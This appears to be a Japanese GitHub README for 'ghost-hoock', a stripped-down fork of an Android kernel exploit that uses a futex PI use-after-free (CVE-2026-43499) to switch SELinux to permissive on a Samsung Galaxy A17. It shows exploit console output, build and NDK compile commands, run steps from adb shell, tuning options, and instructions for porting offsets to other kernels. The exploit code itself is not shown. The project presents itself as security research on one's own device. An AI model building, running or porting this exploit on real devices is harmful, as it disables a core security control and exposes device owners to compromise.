ghost-hoock

GhostLock の最小限のフォークで、ただ1つのプリミティブのみを保持しています: CVE-2026-43499 (futex PI UAF) を利用して SELinux を無効化することです。

目次

• これは何か
• 仕組み
• オリジナルから保持されたもの
• 削除されたもの
• ビルド
• 実行
• 要件
• 制限とリスク
• プロジェクト構成
• ライセンス
• クレジット
• リンク

これは何か

ghost-hoock は Mobile Hacking Lab による GhostLock エクスプロイトの削ぎ落とされたフォークであり、単一のプリミティブにまで縮小されています:

futex PI UAF を介した1回の制約付き書き込み -> selinux_enforcing = 0。

root なし、cred 上書きなし、rwforge チャネルなし、UMH なし、configfs なし。脆弱なカーネル上で SELinux を permissive モードに切り替えるために必要な最小限のものだけです。

Samsung Galaxy A17 (SM-A175F, BZA5) での出力例:

[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)

その後:

$ getenforce
Permissive

getenforce が Permissive を返す

仕組み

このエクスプロイトは CVE-2026-43499 を標的にしています — Linux カーネルの futex PI (Priority Inheritance) rt_mutex チェーンにおける use-after-free です。ghost-hoock のチェーンは4つのステップからなります:

*(uint64_t *)target = value | color

オリジナルから保持されたもの

これは mobilehackinglab/ghostlock-a17 (MIT) のフォークです。以下はアップストリームのエクスプロイトから 1:1 で流用されています:

補助コード (pr_* マクロ、SYSCHK、pin_to_core、set_limit、set_unbuffer) もオリジナルからそのまま保持されています。

削除されたもの

オリジナルの GhostLock は A17 で完全な root を取得します: rwforge 物理 R/W チャネルをインストールし、cred / real_cred をパッチし、init creds で UMH ヘルパーを実行し、ログをキャプチャするなどです。ghost-hoock では、最初の制約付き書き込みより先のすべてが削除されています。

オリジナルの GhostLock はこのフォークよりも完全かつ強力なままです。ghost-hoock は代替品ではありません — SELinux をオフにするという1つの狭いタスクのための最小限の PoCです。

ビルド

オンデバイス (clang、Termux または adb shell)

$PATH に clang と make が必要です。Termux でテスト済み。ツールチェーンがあれば adb shell 経由でも動作します。

git clone https://github.com/USERNAME/ghost-hoock
cd ghost-hoock
make

出力: ./ghost-hoock (aarch64, PIE)。

Android NDK 経由 (PC 上)

make NDK=/path/to/android-ndk-r26

または手動で:

/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
    -O2 -Isrc -Isrc/kernelsnitch -Iinclude \
    -D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
    -fPIE -pie -pthread \
    src/main.c src/spray.c src/route.c -o ghost-hoock

クロスコンパイルの確認

file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...

実行

# シェルコンテキストから読み取り可能な場所にバイナリをコピー
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock

# SELinux が現在 enforcing であることを確認
getenforce
# -> Enforcing

# 実行
/data/local/tmp/ghost-hoock

# 確認
getenforce
# -> Permissive

オプション

ghost-hoock [options]
  --attempts N   W1 試行回数 (デフォルト: 20)
  --no-drain     各 W1 試行前に slab_drain をスキップ
  -h, --help     ヘルプを表示

環境変数

· GHOSTLOCK_CORE — 0..N。consumer スレッドがピン留めされる CPU コア。デフォルト: 0。 · KPHYS — 0x.... カーネル物理ロードアドレス (P0_KERNEL_PHYS_LOAD と異なる場合)。 · PREPARE_SLABS — 4..64。スプレー中に準備されるスラブページ数。デフォルト: 32。 · PSELECT_SHIFT — -14..14。fd_set ワードシフト。デバッグ専用。 · FOPS_MAX_ATTEMPTS — 4..72。FOPS ペイロードの prepare_kernel_page 最大試行回数。 · RWF_DEBUG — 任意の値。ペイロード構築からのデバッグ行を出力。

要件

• デバイス: Samsung Galaxy A17 SM-A175F (BZA5) — このオフセットテーブルが抽出されたターゲット。
• カーネル: 6.12.23-android16-5-abA175FXXS5BZD2-4k。
• コンテキスト: shell SELinux コンテキスト (u:r:shell:s0) から実行する必要があり、アプリからは実行できません。
• 権限: 特別なものは不要 — root は必要ありません。要点は root なしで SELinux を無効化することです。

ポーティング: 他のデバイス/カーネルには独自のオフセットテーブルが必要です。そのビルド用の vmlinux/kallsyms から抽出したシンボルオフセットを含む新しい OFFSETS_ENTRY(...) を include/offsets_bza5.h に追加し、再ビルドしてください。

制限とリスク

• カーネルパニックが発生する可能性があります。 このフォークはオリジナルのリスクを継承しています: 誤った page_base や無関係なメモリに着地する書き込みはカーネルをクラッシュさせます。このフォークはオリジナルよりも攻撃面が少ない (rwforge なし、cred パッチなし、UMH なし) ため、統計的にはより安全ですが、100% 完全ではありません。
• BZA5 では KASLR はオフです。 このエクスプロイトは slide = 0 に依存しています。このフォークには KASLR リークはありません。KASLR が有効なカーネルにポーティングする場合は、オリジナルから slide.c を復元する必要があります。
• SELinux のみ。 このフォークは root を取得しません。selinux_enforcing に 0 を書き込むだけです。root が必要な場合は、完全な ghostlock-a17 を使用してください。
• 単一書き込み。 Write 1 (selinux_enforcing = 0) のみが保持されています。PI ルートを深く理解せずに Write 2 や rwforge パイプラインに拡張しようとしないでください。
• 書き込みが約20回の試行以内に着地する必要があります。 最初の W1 試行が外れた場合、ループが再試行します。ほぼアイドル状態のシステムでの新規起動では、通常は試行1回目で着地します。

プロジェクト構成

ghost-hoock/
├── include/
│   ├── ghost_hoock.h              # 共有ヘッダ、API
│   ├── offset.h                   # TARGET_CONFIG_H ディスパッチャ
│   ├── offsets_bza5.h             # シンボルオフセット (BZA5 のみ)
│   ├── runtime_struct_offsets.h   # 動的構造体オフセット (_RSO マクロ)
│   └── target.h                   # BZA5 アドレス、ペイロードレイアウト
├── src/
│   ├── main.c                     # CLI、オフセット選択、W1 ループ
│   ├── spray.c                    # KernelSnitch + ヒープスプレー + ashmem
│   ├── route.c                    # PI ルート + pselect 制約付き書き込み
│   └── kernelsnitch/              # mm_struct リーク (アップストリームから)
│       ├── kernelsnitch.h
│       ├── futex_hash.h
│       ├── timeutils.h
│       └── utils.h
├── docs/
│   └── img/
│       └── screenshot.jpg
├── Makefile
├── LICENSE
├── .gitignore
└── README.md

ライセンス

MIT — アップストリームの ghostlock-a17 と同じです。LICENSE を参照してください。

このフォークは mobilehackinglab (2026) のオリジナルの著作権表示を保持し、MIT 条項の要求に従ってフォークの作者をその上に追加しています。

このプロジェクトは自身のデバイスでのセキュリティ研究のために厳密に公開されています。所有していないデバイスに対して実行することは、ほとんどの法域で違法です。

クレジット

• Mobile Hacking Lab — このフォークの基盤となったオリジナルの ghostlock-a17 エクスプロイト。
• IAIK KernelSnitch — mm_struct リークテクニック。
• オリジナルの CVE-2026-43499 研究者 — futex PI UAF のリバースエンジニアリングに対して。

リンク

• アップストリームエクスプロイト: https://github.com/mobilehackinglab/ghostlock-a17
• このフォーク: https://github.com/genksome/ghost-hoock
• CVE: CVE-2026-43499

_{研究用に構築。単一の実機でテスト済み。自己責任で使用してください。}